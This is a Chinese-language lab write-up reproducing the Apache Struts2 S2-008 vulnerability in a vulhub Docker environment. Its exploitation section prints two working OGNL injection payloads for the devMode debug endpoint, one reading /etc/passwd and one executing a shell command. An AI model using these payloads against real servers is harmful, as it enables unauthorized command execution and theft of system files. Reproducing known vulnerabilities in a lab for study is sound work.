漏洞复现----30、Struts2/S2-008

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一、漏洞原理

S2-008官方发布了四个漏洞，第1、3、4分别是S2-007、S2-009、S2-019漏洞。本文说的第2个是CookieInterceptor拦截器缺陷，在cookie名称处注入，利用道理和S2-005差不多，Cookie 拦截器错误配置可造成 OGNL 表达式执行。但是大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，所以此漏洞无实际利用意义。

struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令:
例如在 devMode 模式下直接添加参数?debug=command&expression=，会直接执行后面的 OGNL 表达式，可以直接执行命令。

影响版本
2.1.0 - 2.3.1

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二、环境启动

docker-compose build 
docker-compose up -d
访问：IP:8080
需要开启 devMode 模式

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三、漏洞利用

利用一
文件读取：

/devmode.action?debug=command&expression=%28%23w%3Dnew%20java.io.File%28%22%2fetc%2fpasswd%22%29%2C%23a%3Dnew%20java.io.FileInputStream%28%23w%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23d%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29

即为：

/devmode.action?debug=command&expression=(#w=new java.io.File("/etc/passwd"),#a=new java.io.FileInputStream(#w),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#d)),#f.getWriter().flush(),#f.getWriter().close())

利用二
命令执行：

/devmode.action?debug=command&expression=%28%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cat%22%2C%22%2fetc%2fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B5000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29

即为：

/devmode.action? debug=command&expression=(#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[5000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())

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参考链接：https://github.com/vulhub/